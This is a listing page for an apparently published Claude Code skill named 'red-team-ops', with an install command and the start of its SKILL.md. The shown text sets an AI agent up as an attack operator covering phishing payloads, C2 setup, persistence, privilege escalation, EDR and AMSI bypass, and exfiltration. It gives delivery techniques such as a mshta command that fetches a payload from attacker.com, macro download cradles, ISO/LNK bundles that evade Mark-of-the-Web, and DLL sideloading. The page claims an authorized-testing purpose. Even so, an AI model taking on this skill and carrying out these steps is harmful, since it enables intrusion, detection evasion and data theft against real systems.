Red Team Ops

This is your full-spectrum red team operator, handling everything from initial foothold to data exfiltration. It covers the complete attack chain: phishing payload generation, C2 infrastructure setup with domain fronting and malleable profiles, persistence mechanisms like WMI event subscriptions and COM hijacking, privilege escalation through token manipulation and service exploits, plus EDR bypass techniques including syscall unhooking and AMSI patching. The living-off-the-land section is solid, showing how to abuse certutil, WMIC, and other built-in Windows tools. This is designed for authorized penetration testing and security validation, giving you the tactical playbook that competent threat actors use. The OPSEC notes about timestamp stomping and traffic pattern matching show this isn't just script kiddie stuff.

GitHub stars: 280
last updated: May 28, 2026

View on GitHub

Install

$ npx -y skills add hypnguyen1209/offensive-claude --skill red-team-ops --agent claude-code

Installs into .claude/skills of the current project.

Files

Red Team Operations

When to Activate

Simulating advanced persistent threat (APT) operations
Testing detection and response capabilities
Establishing persistent access and C2
Evading EDR/AV/SIEM detection
Privilege escalation on compromised hosts
Data exfiltration planning

Initial Access

Phishing Payloads

# Office macro (VBA)
# - AutoOpen/Document_Open trigger
# - Download cradle: PowerShell IEX or certutil
# - Sandbox evasion: check domain join, user interaction delay

# HTA (HTML Application)
mshta http://attacker.com/payload.hta

# ISO/IMG mounting (bypass MOTW)
# Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL

# OneNote (.one) with embedded scripts
# Drag-and-drop .bat/.hta behind fake "Double click to view" image

# DLL sideloading
# Find legitimate signed EXE that loads DLL from CWD
# Place malicious DLL alongside legitimate EXE in delivery package

SKILL.md on GitHub